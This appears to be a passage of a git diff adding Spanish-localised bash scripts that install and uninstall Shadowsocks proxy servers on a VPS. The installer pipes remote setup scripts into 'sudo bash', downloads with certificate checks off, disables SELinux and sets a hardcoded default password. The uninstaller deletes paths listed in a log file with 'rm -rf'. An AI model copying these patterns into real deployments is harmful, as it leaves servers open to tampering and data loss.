]; then + ${shadowsocks_python_init} status > /dev/null 2>&1 + if [ $? -eq 0 ]; then + ${shadowsocks_python_init} stop + fi + local service_name=$(basename ${shadowsocks_python_init}) + if check_sys packageManager yum; then + chkconfig --del ${service_name} + elif check_sys packageManager apt; then + update-rc.d -f ${service_name} remove + fi + + rm -fr $(dirname ${shadowsocks_python_config}) + rm -f ${shadowsocks_python_init} + rm -f /var/log/shadowsocks.log + if [ -f /usr/local/shadowsocks_python.log ]; then + cat /usr/local/shadowsocks_python.log | xargs rm -rf + rm -f /usr/local/shadowsocks_python.log + fi + echo -e "[${green}Info${plain}] ${software[0]} uninstall success" + else + echo + echo -e "[${green}Info${plain}] ${software[0]} uninstall cancelled, nothing to do..." + echo + fi +} + +uninstall_shadowsocks_r(){ + printf "Are you sure uninstall ${red}${software[1]}${plain}? [y/n]\n" + read -p "(default: n):" answer + [ -z ${answer} ] && answer="n" + if [ "${answer}" == "y" ] || [ "${answer}" == "Y" ]; then + ${shadowsocks_r_init} status > /dev/null 2>&1 + if [ $? -eq 0 ]; then + ${shadowsocks_r_init} stop + fi + local service_name=$(basename ${shadowsocks_r_init}) + if check_sys packageManager yum; then + chkconfig --del ${service_name} + elif check_sys packageManager apt; then + update-rc.d -f ${service_name} remove + fi + rm -fr $(dirname ${shadowsocks_r_config}) + rm -f ${shadowsocks_r_init} + rm -f /var/log/shadowsocks.log + rm -fr /usr/local/shadowsocks + echo -e "[${green}Info${plain}] ${software[1]} uninstall success" + else + echo + echo -e "[${green}Info${plain}] ${software[1]} uninstall cancelled, nothing to do..." + echo + fi +} + +uninstall_shadowsocks_go(){ + printf "Are you sure uninstall ${red}${software[2]}${plain}? [y/n]\n" + read -p "(default: n):" answer + [ -z ${answer} ] && answer="n" + if [ "${answer}" == "y" ] || [ "${answer}" == "Y" ]; then + ${shadowsocks_go_init} status > /dev/null 2>&1 + if [ $? -eq 0 ]; then + ${shadowsocks_go_init} stop + fi + local service_name=$(basename ${shadowsocks_go_init}) + if check_sys packageManager yum; then + chkconfig --del ${service_name} + elif check_sys packageManager apt; then + update-rc.d -f ${service_name} remove + fi + rm -fr $(dirname ${shadowsocks_go_config}) + rm -f ${shadowsocks_go_init} + rm -f /usr/bin/shadowsocks-server + echo -e "[${green}Info${plain}] ${software[2]} uninstall success" + else + echo + echo -e "[${green}Info${plain}] ${software[2]} uninstall cancelled, nothing to do..." + echo + fi +} + +uninstall_shadowsocks_libev(){ + printf "Are you sure uninstall ${red}${software[3]}${plain}? [y/n]\n" + read -p "(default: n):" answer + [ -z ${answer} ] && answer="n" + if [ "${answer}" == "y" ] || [ "${answer}" == "Y" ]; then + ${shadowsocks_libev_init} status > /dev/null 2>&1 + if [ $? -eq 0 ]; then + ${shadowsocks_libev_init} stop + fi + local service_name=$(basename ${shadowsocks_libev_init}) + if check_sys packageManager yum; then + chkconfig --del ${service_name} + elif check_sys packageManager apt; then + update-rc.d -f ${service_name} remove + fi + rm -fr $(dirname ${shadowsocks_libev_config}) + rm -f /usr/local/bin/ss-local + rm -f /usr/local/bin/ss-tunnel + rm -f /usr/local/bin/ss-server + rm -f /usr/local/bin/ss-manager + rm -f /usr/local/bin/ss-redir + rm -f /usr/local/bin/ss-nat + rm -f /usr/local/bin/obfs-local + rm -f /usr/local/bin/obfs-server + rm -f /usr/local/lib/libshadowsocks-libev.a + rm -f /usr/local/lib/libshadowsocks-libev.la + rm -f /usr/local/include/shadowsocks.h + rm -f /usr/local/lib/pkgconfig/shadowsocks-libev.pc + rm -f /usr/local/share/man/man1/ss-local.1 + rm -f /usr/local/share/man/man1/ss-tunnel.1 + rm -f /usr/local/share/man/man1/ss-server.1 + rm -f /usr/local/share/man/man1/ss-manager.1 + rm -f /usr/local/share/man/man1/ss-redir.1 + rm -f /usr/local/share/man/man1/ss-nat.1 + rm -f /usr/local/share/man/man8/shadowsocks-libev.8 + rm -fr /usr/local/share/doc/shadowsocks-libev + rm -f ${shadowsocks_libev_init} + echo -e "[${green}Info${plain}] ${software[3]} uninstall success" + else + echo + echo -e "[${green}Info${plain}] ${software[3]} uninstall cancelled, nothing to do..." + echo + fi +} + +uninstall_shadowsocks(){ + while true + do + echo "Que servidor Shadowsocks quieres desinstalar?" + for ((i=1;i<=${#software[@]};i++ )); do + hint="${software[$i-1]}" + echo -e "${green}${i}${plain}) ${hint}" + done + read -p "Please enter a number [1-4]:" un_select + case "${un_select}" in + 1|2|3|4) + echo + echo "You choose = ${software[${un_select}-1]}" + echo + break + ;; + *) + echo -e "[${red}Error${plain}] Please only enter a number [1-4]" + ;; + esac + done + + if [ "${un_select}" == "1" ]; then + if [ -f ${shadowsocks_python_init} ]; then + uninstall_shadowsocks_python + else + echo -e "[${red}Error${plain}] ${software[${un_select}-1]} not installed, please check it and try again." + echo + exit 1 + fi + elif [ "${un_select}" == "2" ]; then + if [ -f ${shadowsocks_r_init} ]; then + uninstall_shadowsocks_r + else + echo -e "[${red}Error${plain}] ${software[${un_select}-1]} not installed, please check it and try again." + echo + exit 1 + fi + elif [ "${un_select}" == "3" ]; then + if [ -f ${shadowsocks_go_init} ]; then + uninstall_shadowsocks_go + else + echo -e "[${red}Error${plain}] ${software[${un_select}-1]} not installed, please check it and try again." + echo + exit 1 + fi + elif [ "${un_select}" == "4" ]; then + if [ -f ${shadowsocks_libev_init} ]; then + uninstall_shadowsocks_libev + else + echo -e "[${red}Error${plain}] ${software[${un_select}-1]} not installed, please check it and try again." + echo + exit 1 + fi + fi +} + +# Initialization step +action=$1 +[ -z $1 ] && action=install +case "${action}" in + install|uninstall) + ${action}_shadowsocks + ;; + *) + echo "Arguments error! [${action}]" + echo "Usage: $(basename $0) [install|uninstall]" + ;; +esac diff --git a/ADM-VENTAS-LEALDROID/request/shadowsocks.sh b/ADM-VENTAS-LEALDROID/request/shadowsocks.sh new file mode 100644 index 0000000..2395dfb --- /dev/null +++ b/ADM-VENTAS-LEALDROID/request/shadowsocks.sh @@ -0,0 +1,1897 @@ +#!/bin/bash +PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:~/bin +export PATH +Block="/etc/bin" && [[ ! -d ${Block} ]] && exit +Block > /dev/null 2>&1 +BARRA1="\e[1;30m➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖\e[0m" +BARRA="\e[0;31m--------------------------------------------------------------------\e[0m" +SCPdir="/etc/newadm" && [[ ! -d ${SCPdir} ]] && exit 1 +SCPusr="${SCPdir}/ger-user" && [[ ! -d ${SCPusr} ]] && mkdir ${SCPusr} +SCPfrm="/etc/ger-frm" && [[ ! -d ${SCPfrm} ]] && mkdir ${SCPfrm} +SCPinst="/etc/ger-inst" && [[ ! -d ${SCPfrm} ]] && mkdir ${SCPfrm} +SCPidioma="${SCPdir}/idioma" +# +# Auto install shadowsocks/shadowsocks-libev Server +# +# Copyright (C) 2017-2018 QUNIU +# +# System Required: CentOS 6+, Debian7+, Ubuntu12+ +# +# Reference URL: +# https://github.com/shadowsocks/shadowsocks +# https://github.com/shadowsocks/shadowsocks-libev +# https://github.com/shadowsocks/shadowsocks-windows +# +# +# Intro: https://github.com/quniu +# +blan='\033[1;37m' +ama='\033[1;33m' +blue='\033[1;34m' +asul='\033[0;34m' +red='\033[0;31m' +green='\033[0;32m' +yellow='\033[0;33m' +plain='\033[0m' + +[[ $EUID -ne 0 ]] && echo -e "[${red}Error${plain}] Este script debe ejecutarse como root!" && exit 1 + +cur_dir=$( pwd ) + +libsodium_file="libsodium-1.0.16" +libsodium_url="https://github.com/jedisct1/libsodium/releases/download/1.0.16/libsodium-1.0.16.tar.gz" + +mbedtls_file="mbedtls-2.12.0" +mbedtls_url="https://tls.mbed.org/download/mbedtls-2.12.0-gpl.tgz" + +# shadowsocks libev +shadowsocks_manager_name="shadowsocks-manager" +shadowsocks_libev_init="/etc/init.d/shadowsocks-manager" +shadowsocks_libev_config="/etc/shadowsocks-manager/config.json" +shadowsocks_manager_url="https://github.com/shadowsocks/shadowsocks-manager.git" +shadowsocks_libev_centos="https://raw.githubusercontent.com/quniu/ssmgr-deploy/master/service/shadowsocks-manager" +shadowsocks_libev_debian="https://raw.githubusercontent.com/quniu/ssmgr-deploy/master/service/shadowsocks-manager-debian" + +# Stream Ciphers +common_ciphers=( +aes-256-gcm +aes-192-gcm +aes-128-gcm +aes-256-ctr +aes-192-ctr +aes-128-ctr +aes-256-cfb +aes-192-cfb +aes-128-cfb +camellia-128-cfb +camellia-192-cfb +camellia-256-cfb +xchacha20-ietf-poly1305 +chacha20-ietf-poly1305 +chacha20-ietf +chacha20 +salsa20 +rc4-md5 +) + +# obfs +obfs=( +plain +http_simple +http_simple_compatible +http_post +http_post_compatible +tls1.2_ticket_auth +tls1.2_ticket_auth_compatible +tls1.2_ticket_fastauth +tls1.2_ticket_fastauth_compatible +) + +# libev obfuscating +obfs_libev=( +http +tls +) + +# initialization parameter +libev_obfs="" + +disable_selinux(){ + if [ -s /etc/selinux/config ] && grep 'SELINUX=enforcing' /etc/selinux/config; then + sed -i 's/SELINUX=enforcing/SELINUX=disabled/g' /etc/selinux/config + setenforce 0 + fi +} + +check_sys(){ + local checkType=$1 + local value=$2 + + local release='' + local systemPackage='' + + if [[ -f /etc/redhat-release ]]; then + release="centos" + systemPackage="yum" + elif grep -Eqi "debian" /etc/issue; then + release="debian" + systemPackage="apt" + elif grep -Eqi "ubuntu" /etc/issue; then + release="ubuntu" + systemPackage="apt" + elif grep -Eqi "centos|red hat|redhat" /etc/issue; then + release="centos" + systemPackage="yum" + elif grep -Eqi "debian" /proc/version; then + release="debian" + systemPackage="apt" + elif grep -Eqi "ubuntu" /proc/version; then + release="ubuntu" + systemPackage="apt" + elif grep -Eqi "centos|red hat|redhat" /proc/version; then + release="centos" + systemPackage="yum" + fi + + if [[ "${checkType}" == "sysRelease" ]]; then + if [ "${value}" == "${release}" ]; then + return 0 + else + return 1 + fi + elif [[ "${checkType}" == "packageManager" ]]; then + if [ "${value}" == "${systemPackage}" ]; then + return 0 + else + return 1 + fi + fi +} + +version_ge(){ + test "$(echo "$@" | tr " " "\n" | sort -rV | head -n 1)" == "$1" +} + +version_gt(){ + test "$(echo "$@" | tr " " "\n" | sort -V | head -n 1)" != "$1" +} + +check_kernel_version(){ + local kernel_version=$(uname -r | cut -d- -f1) + if version_gt ${kernel_version} 3.7.0; then + return 0 + else + return 1 + fi +} + +check_kernel_headers(){ + if check_sys packageManager yum; then + if rpm -qa | grep -q headers-$(uname -r); then + return 0 + else + return 1 + fi + elif check_sys packageManager apt; then + if dpkg -s linux-headers-$(uname -r) > /dev/null 2>&1; then + return 0 + else + return 1 + fi + fi + return 1 +} + +getversion(){ + if [[ -s /etc/redhat-release ]]; then + grep -oE "[0-9.]+" /etc/redhat-release + else + grep -oE "[0-9.]+" /etc/issue + fi +} + +centosversion(){ + if check_sys sysRelease centos; then + local code=$1 + local version="$(getversion)" + local main_ver=${version%%.*} + if [ "$main_ver" == "$code" ]; then + return 0 + else + return 1 + fi + else + return 1 + fi +} + +autoconf_version(){ + if [ ! "$(command -v autoconf)" ]; then + echo -e "[${green}Info${plain}] ${blan}Iniciando instalacion de paquete autoconf" + if check_sys packageManager yum; then + yum install -y autoconf > /dev/null 2>&1 || echo -e "[${red}Error:${plain}] Error al instalar autoconf" + elif check_sys packageManager apt; then + apt-get -y update > /dev/null 2>&1 + apt-get -y install autoconf > /dev/null 2>&1 || echo -e "[${red}Error:${plain}] Error al instalar autoconf" + fi + fi + local autoconf_ver=$(autoconf --version | grep autoconf | grep -oE "[0-9.]+") + if version_ge ${autoconf_ver} 2.67; then + return 0 + else + return 1 + fi +} + +get_ip(){ + local IP=$( ip addr | egrep -o '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | egrep -v "^192\.168|^172\.1[6-9]\.|^172\.2[0-9]\.|^172\.3[0-2]\.|^10\.|^127\.|^255\.|^0\." | head -n 1 ) + [ -z ${IP} ] && IP=$( wget -qO- -t1 -T2 ipv4.icanhazip.com ) + [ -z ${IP} ] && IP=$( wget -qO- -t1 -T2 ipinfo.io/ip ) + echo ${IP} +} + +get_ipv6(){ + local ipv6=$(wget -qO- -t1 -T2 ipv6.icanhazip.com) + [ -z ${ipv6} ] && return 1 || return 0 +} + +get_libev_ver(){ + libev_ver=$(wget --no-check-certificate -qO- https://api.github.com/repos/shadowsocks/shadowsocks-libev/releases/latest | grep 'tag_name' | cut -d\" -f4) + [ -z ${libev_ver} ] && echo -e "[${red}Error${plain}] Get shadowsocks-libev latest version failed" && exit 1 +} + +get_opsy(){ + [ -f /etc/redhat-release ] && awk '{print ($1,$3~/^[0-9]/?$3:$4)}' /etc/redhat-release && return + [ -f /etc/os-release ] && awk -F'[= "]' '/PRETTY_NAME/{print $3,$4,$5}' /etc/os-release && return + [ -f /etc/lsb-release ] && awk -F'[="]+' '/DESCRIPTION/{print $2}' /etc/lsb-release && return +} + +is_64bit(){ + if [ `getconf WORD_BIT` = '32' ] && [ `getconf LONG_BIT` = '64' ] ; then + return 0 + else + return 1 + fi +} + +debianversion(){ + if check_sys sysRelease debian;then + local version=$( get_opsy ) + local code=${1} + local main_ver=$( echo ${version} | sed 's/[^0-9]//g') + if [ "${main_ver}" == "${code}" ];then + return 0 + else + return 1 + fi + else + return 1 + fi +} + +init_swapfile(){ + cd ${cur_dir} + if [ -f /usr/local/swapfile.json ]; then + if [ $? -eq 0 ]; then +echo -e "$BARRA1" + echo -e "[${green}Info${plain}] ${blan}Swapfile ya existe.${plain}" +echo -e "$BARRA1" + fi + else + dd if=/dev/zero of=/tmp/swapfile bs=1M count=1024 + mkswap /tmp/swapfile + swapon /tmp/swapfile + echo "/tmp/swapfile swap swap defaults 0 0" >> /etc/fstab +echo -e "$BARRA1" + echo -e "[${green}Info${plain}] ${blan}Anadir archivo swap completado.${plain}" + add_swapfile +echo -e "$BARRA1" + fi +} + +add_swapfile(){ + cat > /usr/local/swapfile.json<<-EOF +{ + "server":$(get_ip) +} +EOF +} + +download(){ + local filename=$(basename $1) + if [ -f ${1} ]; then + echo "${filename} [found]" + else + echo "${filename} ${blan}not found, download now...${plain}" + wget --no-check-certificate -c -t3 -T60 -O ${1} ${2} + if [ $? -ne 0 ]; then + echo -e "[${red}Error${plain}] ${blan}Download ${filename} failed.${plain}" + exit 1 + fi + fi +} + +download_files(){ + # Clean install package + install_cleanup + + # Download shadowsocks-manager + if ! git clone ${shadowsocks_manager_url}; then +echo -e "$BARRA1" + echo -e "[${red}Error${plain}] ${blan}Error al descargar el archivo shadowsocks-manager!${plain}" +echo -e "$BARRA1" + exit 1 + fi + + # Download shadowsocks-libev + get_libev_ver + shadowsocks_libev_file="shadowsocks-libev-$(echo ${libev_ver} | sed -e 's/^[a-zA-Z]//g')" + shadowsocks_libev_url="https://github.com/shadowsocks/shadowsocks-libev/releases/download/${libev_ver}/${shadowsocks_libev_file}.tar.gz" + download "${shadowsocks_libev_file}.tar.gz" "${shadowsocks_libev_url}" + + # Download shadowsocks-manager service script + if check_sys packageManager yum; then + download "${shadowsocks_libev_init}" "${shadowsocks_libev_centos}" + elif check_sys packageManager apt; then + download "${shadowsocks_libev_init}" "${shadowsocks_libev_debian}" + fi +} + +get_char(){ + SAVEDSTTY=$(stty -g) + stty -echo + stty cbreak + dd if=/dev/tty bs=1 count=1 2> /dev/null + stty -raw + stty echo + stty $SAVEDSTTY +} + +error_detect_depends(){ + local command=$1 + local depend=`echo "${command}" | awk '{print $4}'` +echo -e "$BARRA1" + echo -e "[${green}Info${plain}] ${blan}Empezando a instalar el paquete ${depend}${plain}" +echo -e "$BARRA1" + ${command} > /dev/null 2>&1 + if [ $? -ne 0 ]; then +echo -e "$BARRA1" + echo -e "[${red}Error${plain}] ${blan}Error al instalar${plain} ${red}${depend}${plain}" +echo -e "$BARRA1" + exit 1 + fi +} + +config_firewall(){ + if centosversion 6; then + /etc/init.d/iptables status > /dev/null 2>&1 + if [ $? -eq 0 ]; then + iptables -L -n | grep -i ${shadowsocksport} > /dev/null 2>&1 + if [ $? -ne 0 ]; then + iptables -I INPUT -m state --state NEW -m tcp -p tcp --dport ${shadowsocksport} -j ACCEPT + iptables -I INPUT -m state --state NEW -m udp -p udp --dport ${shadowsocksport} -j ACCEPT + /etc/init.d/iptables save + /etc/init.d/iptables restart + else +echo -e "$BARRA1" + echo -e "[${green}Info${plain}] puerto ${green}${shadowsocksport}${plain} Ya estar habilitado." +echo -e "$BARRA1" + fi + else +echo -e "$BARRA1" + echo -e "[${yellow}Warning${plain}] ${blan}Parece que Iptables no se esta ejecutando o no esta instalado, habilite el puerto${plain} ${shadowsocksport} ${blan}Manualmente si es necesario.${plain}" +echo -e "$BARRA1" + fi + elif centosversion 7; then + systemctl status firewalld > /dev/null 2>&1 + if [ $? -eq 0 ]; then + firewall-cmd --permanent --zone=public --add-port=${shadowsocksport}/tcp + firewall-cmd --permanent --zone=public --add-port=${shadowsocksport}/udp + firewall-cmd --reload + else +echo -e "$BARRA1" + echo -e "[${yellow}Warning${plain}] ${blan}Firewalld parece que no se esta ejecutando o no esta instalado, habilite el puerto ${shadowsocksport} manualmente si es necesario.${plain}" +echo -e "$BARRA1" + fi + fi +} + +config_shadowsocks(){ + if check_kernel_version && check_kernel_headers; then + fast_open="true" + else + fast_open="false" + fi + + local server_value="\"0.0.0.0\"" + if get_ipv6; then + server_value="[\"[::0]\",\"0.0.0.0\"]" + fi + + if [ ! -d "$(dirname ${shadowsocks_libev_config})" ]; then + mkdir -p $(dirname ${shadowsocks_libev_config}) + fi + + if [ "${libev_obfs}" == "y" ] || [ "${libev_obfs}" == "Y" ]; then + cat > ${shadowsocks_libev_config}<<-EOF +{ + "server":${server_value}, + "server_port":${shadowsocksport}, + "password":"${shadowsockspwd}", + "timeout":300, + "user":"nobody", + "method":"${shadowsockscipher}", + "fast_open":${fast_open}, + "nameserver":"8.8.8.8", + "mode":"tcp_and_udp", + "plugin":"obfs-server", + "plugin_opts":"obfs=${shadowsocklibev_obfs}" +} +EOF + else + cat > ${shadowsocks_libev_config}<<-EOF +{ + "server":${server_value}, + "server_port":${shadowsocksport}, + "password":"${shadowsockspwd}", + "timeout":300, + "user":"nobody", + "method":"${shadowsockscipher}", + "fast_open":${fast_open}, + "nameserver":"8.8.8.8", + "mode":"tcp_and_udp" +} +EOF + fi +} + +install_dependencies(){ + if check_sys packageManager yum; then + echo -e "[${green}Info${plain}] ${blan}Comprobando el repositorio de EPEL ...${plain}" + if [ ! -f /etc/yum.repos.d/epel.repo ]; then + yum install -y epel-release > /dev/null 2>&1 + fi + [ ! -f /etc/yum.repos.d/epel.repo ] && echo -e "[${red}Error${plain}] ${blan}Install EPEL repository failed, please check it.${plain}" && exit 1 + [ ! "$(command -v yum-config-manager)" ] && yum install -y yum-utils > /dev/null 2>&1 + [ x"$(yum-config-manager epel | grep -w enabled | awk '{print $3}')" != x"True" ] && yum-config-manager --enable epel > /dev/null 2>&1 + echo -e "[${green}Info${plain}] Checking the EPEL repository complete..." + + yum_depends=( + unzip gzip openssl openssl-devel gcc python python-devel python-setuptools pcre pcre-devel libtool libevent + autoconf automake make curl curl-devel zlib-devel perl perl-devel cpio expat-devel gettext-devel libev-devel c-ares-devel git screen + ) + for depend in ${yum_depends[@]}; do + error_detect_depends "yum -y install ${depend}" + done + elif check_sys packageManager apt; then + apt_depends=( + gettext build-essential unzip gzip python python-dev python-setuptools curl openssl libssl-dev + autoconf automake libtool gcc make perl cpio libpcre3 libpcre3-dev zlib1g-dev libev-dev libc-ares-dev git screen + ) + + apt-get -y update + for depend in ${apt_depends[@]}; do + error_detect_depends "apt-get -y install ${depend}" + done + fi +} + +update_nodejs(){ + # update nodejs +echo -e "$BARRA1" + echo -e "[${green}Info${plain}] ${asul}Empezando a actualizar nodejs de EPEL...${plain}" +echo -e "$BARRA1" + if check_sys packageManager yum; then + yum -y remove nodejs > /dev/null 2>&1 + curl --silent --location https://rpm.nodesource.com/setup_10.x | sudo bash - > /dev/null 2>&1 + elif check_sys packageManager apt; then + apt-get -y remove nodejs > /dev/null 2>&1 + curl -sL https://deb.nodesource.com/setup_10.x | sudo -E bash - > /dev/null 2>&1 + fi +echo -e "$BARRA1" + echo -e "[${green}Info${plain}] ${asul}Actualizacion nodejs EPEL completa!${plain}" +echo -e "$BARRA1" + # Install nodejs + if check_sys packageManager yum; then + yum -y install nodejs > /dev/null 2>&1 + elif check_sys packageManager apt; then + apt-get -y update + apt-get -y install nodejs > /dev/null 2>&1 + #sudo npm cache clean -f + #sudo npm install -g n + #sudo n stable + #sudo n latest + fi + + if [ $? -eq 0 ]; then +echo -e "$BARRA1" + echo -e "[${green}Info${plain}] ${asul}Instalacion de Nodejs completa!${plain}" +echo -e "$BARRA1" + else + echo -e "[${yellow}Warning${plain}] ${asul}La instalacion de Nodejs fallo!${plain}" + exit 1 + fi +} + +update_npm(){ +echo -e "$BARRA1" + echo -e "[${green}Info${plain}] ${asul}Empezando a actualizar npm ...${plain}" +echo -e "$BARRA1" + npm i npm@latest -g > /dev/null 2>&1 + if [ $? -eq 0 ]; then +echo -e "$BARRA1" + echo -e "[${green}Info${plain}] ${asul}Actualizacion de Npm completa!${plain}" +echo -e "$BARRA1" + else +echo -e "$BARRA1" + echo -e "[${yellow}Warning${plain}] ${asul}Fallo la actualizacion de Npm!${plain}" +echo -e "$BARRA1" + fi +} + +install_pm2(){ +echo -e "$BARRA1" + echo -e "[${green}Info${plain}] ${asul}Empezando a instalar PM2...${plain}" +echo -e "$BARRA1" + npm install pm2 -g > /dev/null 2>&1 + if [ $? -eq 0 ]; then +echo -e "$BARRA1" + echo -e "[${green}Info${plain}] ${asul}Instalacion de PM2 completa!${plain}" +echo -e "$BARRA1" + else +echo -e "$BARRA1" + echo -e "[${yellow}Warning${plain}] ${asul}Fallo la instalacion de PM2!${plain}" +echo -e "$BARRA1" + fi +} + +install_check(){ + if check_sys packageManager yum || check_sys packageManager apt; then + if centosversion 5; then + return 1 + fi + return 0 + else + return 1 + fi +} + +install_prepare_password(){ + echo -e "${ama}Por favor, introduzca la contrasena para shadowsocks-libev:${plain}" +echo -e "$BARRA1" + read -p "(Contrasena predeterminada: dankel):" shadowsockspwd + [ -z "${shadowsockspwd}" ] && shadowsockspwd="dankel" + echo "--------------------------------------" + echo -e "[${green}Info${plain}] ${blan}Contrasena =${plain} ${green}${shadowsockspwd}${plain}" + echo "--------------------------------------" +} + +install_prepare_port() { + while true + do + dport=$(shuf -i 9000-9999 -n 1) + echo -e "${ama}Por favor, introduzca un puerto para shadowsocks-libev:${plain}" +echo -e "$BARRA1" + read -p "(Puerto predeterminado: ${dport}):" shadowsocksport + [ -z "${shadowsocksport}" ] && shadowsocksport=${dport} + expr ${shadowsocksport} + 1 &>/dev/null + if [ $? -eq 0 ]; then + if [ ${shadowsocksport} -ge 1 ] && [ ${shadowsocksport} -le 65535 ] && [ ${shadowsocksport:0:1} != 0 ]; then + echo "--------------------------------------" + echo -e "[${green}Info${plain}] ${blan}Puerto =${plain} ${green}${shadowsocksport}${plain}" + echo "--------------------------------------" + break + fi + fi + echo -e "[${red}Error${plain}] Please enter a correct number [1-65535]" + done +} + +install_prepare_cipher(){ + while true + do + echo -e "${ama}Por favor seleccione la secuencia de cifrado para shadowsocks-libev:${plain}" +echo -e "$BARRA1" + + for ((i=1;i<=${#common_ciphers[@]};i++ )); do + hint="${common_ciphers[$i-1]}" + echo -e "${green}${i}${plain}) ${hint}" + done +echo -e "$BARRA1" + read -p "Que cifrado seleccionaria (Predeterminado: ${common_ciphers[6]}):" pick +echo -e "$BARRA1" + [ -z "$pick" ] && pick=7 + expr ${pick} + 1 &>/dev/null + if [ $? -ne 0 ]; then + echo -e "[${red}Error${plain}] Please enter a number" + continue + fi + if [[ "$pick" -lt 1 || "$pick" -gt ${#common_ciphers[@]} ]]; then + echo -e "[${red}Error${plain}] Please enter a number between 1 and ${#common_ciphers[@]}" + continue + fi + shadowsockscipher=${common_ciphers[$pick-1]} + + echo "--------------------------------------" + echo -e "[${green}Info${plain}] ${ama}Cifrado =${plain} ${green}${shadowsockscipher}${plain}" + echo "--------------------------------------" + break + done +} + +install_prepare_libev_obfs(){ + if autoconf_version || centosversion 6; then + while true + do + echo -e "${ama}Quieres instalar simple-obfs para shadowsocks-libev?${plain} ${blan}[y/n]${plain}" +echo -e "$BARRA1" + read -p "(Predeterminado: n):" libev_obfs + [ -z "$libev_obfs" ] && libev_obfs=n + case "${libev_obfs}" in + y|Y|n|N) + echo "--------------------------------------" + echo -e "[${green}Info${plain}] ${blan}Tu seleccionaste =${plain} ${green}${libev_obfs}${plain}" + echo "--------------------------------------" + break + ;; + *) + echo -e "[${red}Error${plain}] ${blan}Por favor solo ingresa [y/n]${plain}" + ;; + esac + done + + if [ "${libev_obfs}" == "y" ] || [ "${libev_obfs}" == "Y" ]; then + while true + do + echo -e "${ama}Por favor seleccione obfs para simple-obfs:${plain}" + for ((i=1;i<=${#obfs_libev[@]};i++ )); do + hint="${obfs_libev[$i-1]}" + echo -e "${green}${i}${plain}) ${hint}" + done + read -p "Que obfs seleccionaria? (Predeterminado: ${obfs_libev[0]}):" r_libev_obfs + [ -z "$r_libev_obfs" ] && r_libev_obfs=1 + expr ${r_libev_obfs} + 1 &>/dev/null + if [ $? -ne 0 ]; then + echo -e "[${red}Error${plain}] Please enter a number" + continue + fi + if [[ "$r_libev_obfs" -lt 1 || "$r_libev_obfs" -gt ${#obfs_libev[@]} ]]; then + echo -e "[${red}Error${plain}] Por favor ingrese un nmero entre 1 y ${#obfs_libev[@]}" + continue + fi + shadowsocklibev_obfs=${obfs_libev[$r_libev_obfs-1]} + echo "--------------------------------------" + echo -e "[${green}Info${plain}] ${blan}Obfs =${plain} ${green}${shadowsocklibev_obfs}${plain}" + echo "--------------------------------------" + break + done + fi + else + echo -e "[${green}Info${plain}] La version de Autoconf es inferior a 2.67, se han omitido los objs simples para la instalacion de shadowsocks-libev" + fi +} + +install_prepare(){ + install_prepare_password + install_prepare_port + install_prepare_cipher + install_prepare_libev_obfs + #install_prepare_manager +echo -e "$BARRA1" + echo -e "${blan}Presione cualquier tecla para comenzar o presione Ctrl + C para cancelar. Continue!${plain}" + char=`get_char` +echo -e "$BARRA1" +} + +install_libsodium(){ + if [ ! -f /usr/lib/libsodium.a ]; then + cd ${cur_dir} + download "${libsodium_file}.tar.gz" "${libsodium_url}" + tar zxf ${libsodium_file}.tar.gz + cd ${libsodium_file} + ./configure --prefix=/usr && make && make install + if [ $? -ne 0 ]; then + echo -e "[${red}Error${plain}] ${libsodium_file} La instalacin fallo" + install_cleanup + exit 1 + fi + else + echo -e "[${green}Info${plain}] ${libsodium_file} Ya instalado." + fi +} + +install_mbedtls(){ + if [ ! -f /usr/lib/libmbedtls.a ]; then + cd ${cur_dir} + download "${mbedtls_file}-gpl.tgz" "${mbedtls_url}" + tar xf ${mbedtls_file}-gpl.tgz + cd ${mbedtls_file} + make SHARED=1 CFLAGS=-fPIC + make DESTDIR=/usr install + if [ $? -ne 0 ]; then + echo -e "[${red}Error${plain}] ${mbedtls_file} Instalacion fallida." + install_cleanup + exit 1 + fi + else + echo -e "[${green}Info${plain}] ${mbedtls_file} Ya instalado." + fi +} + +deploy_shadowsocks_manager(){ + cd ${cur_dir} + if [ ! -d "/usr/local/${shadowsocks_manager_name}" ]; then + mv ${shadowsocks_manager_name} /usr/local/${shadowsocks_manager_name} + cd /usr/local/${shadowsocks_manager_name} + npm install --unsafe-perm + if [ $? -eq 0 ]; then + mkdir -p ~/.ssmgr + config_shadowsocks_manager + echo -e "[${green}Info${plain}] shadowsocks-manager install success!" + else + echo -e "[${red}Error${plain}] shadowsocks-manager install failed!" + exit 1 + fi + cd ${cur_dir} + else + echo -e "[${green}Info${plain}] shadowsocks-manager already installed." + fi +} + + +config_shadowsocks_manager(){ + cat > ~/.ssmgr/default.yml<<-EOF +type: s + +shadowsocks: + address: 127.0.0.1:6001 + +manager: + address: 0.0.0.0:${manager_port} + password: '${manager_password}' + +db: 'db.sqlite' +EOF +} + +install_prepare_manager(){ + while true + do + #manager_password + echo -e "Please enter the Manager password:" + read -p "(Contrasena predeterminada: dankel):" manager_password + [ -z "${manager_password}" ] && manager_password="dankel" + expr ${manager_password} + 1 &>/dev/null + + #manager_port + echo -e "Please enter the Manager port:" + read -p "(Puerto predeterminado: 6002):" manager_port + [ -z "${manager_port}" ] && manager_port="6002" + expr ${manager_port} + 1 &>/dev/null + + echo -e "-----------------------------------------------------" + echo -e "The Manager Configuration has been completed! " + echo -e "-----------------------------------------------------" + echo -e "Your Manager Port : ${manager_port} " + echo -e "Your Manager Password : ${manager_password} " + echo -e "-----------------------------------------------------" + break + done +} + +start_pm2_manager(){ + cd /usr/local/${shadowsocks_manager_name} + + pm2 --name "ss-libev" -f start server.js -x -- -c default.yml + + if [ $? -eq 0 ]; then +echo -e "$BARRA1" + echo -e "[${green}Info${plain}] PM2 inicio servicio exito!" +echo -e "$BARRA1" + else +echo -e "$BARRA1" + echo -e "[${red}Error${plain}] El servicio de arranque de PM2 fallo!" +echo -e "$BARRA1" + exit 1 + fi + + pm2 startup > /dev/null 2>&1 + pm2 save > /dev/null 2>&1 +echo -e "$BARRA1" + echo -e "[${green}Info${plain}] PM2 guardar el exito del servicio!" +echo -e "$BARRA1" + cd ${cur_dir} + install_cleanup +} + +deploy_shadowsocks_libev(){ + cd ${cur_dir} + tar zxf ${shadowsocks_libev_file}.tar.gz + cd ${shadowsocks_libev_file} + ./configure --prefix=/usr/local --disable-documentation && make && make install + if [ $? -eq 0 ]; then + chmod +x 